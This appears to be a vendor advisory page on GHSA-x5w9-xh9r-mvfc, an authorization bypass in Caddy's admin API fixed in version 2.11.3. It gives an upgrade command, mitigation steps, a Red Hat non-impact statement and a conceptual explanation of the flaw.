🐹Gogithub.com/caddyserver/caddy/v2≥ 2.4.0&&< 2.11.32.11.3go get github.com/caddyserver/caddy/v2@v2.11.3

Affected Products

1 product · 1 configurations
Application
caddycaddyserver
≥ 2.4.0 && < 2.11.3
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/caddyserver/caddy/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/caddyserver/caddy/v2 to 2.11.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x5w9-xh9r-mvfc is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This Moderate-impact flaw in Caddy's remote administration API, which allows an authorization bypass due to differing interpretations of array indices, does not affect Red Hat products. The vulnerable code is not present in Red Hat's supported offerings.

Workaround published by Red Hat
Mitigation for this issue is not required for Red Hat products, as the vulnerable code is not present.
Source: Red Hat security advisory for GHSA-x5w9-xh9r-mvfc (CC BY 4.0)

Frequently Asked Questions

This report is not about a normal textual prefix-expansion case. The issue here is that the authorization layer and the `/config` traversal layer do **not agree on what object the path refers to**. In this case, a path authorized for one config object is accepted, but then resolves to a **different config object** during traversal. ## AI Disclosure The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests a
O3 Security · Impact-Aware SCA

Is GHSA-x5w9-xh9r-mvfc in your dependencies?

Find it across Go, including transitive dependencies.

GHSA-x5w9-xh9r-mvfc: v2 — Fixed in 2.11.3 | O3 Security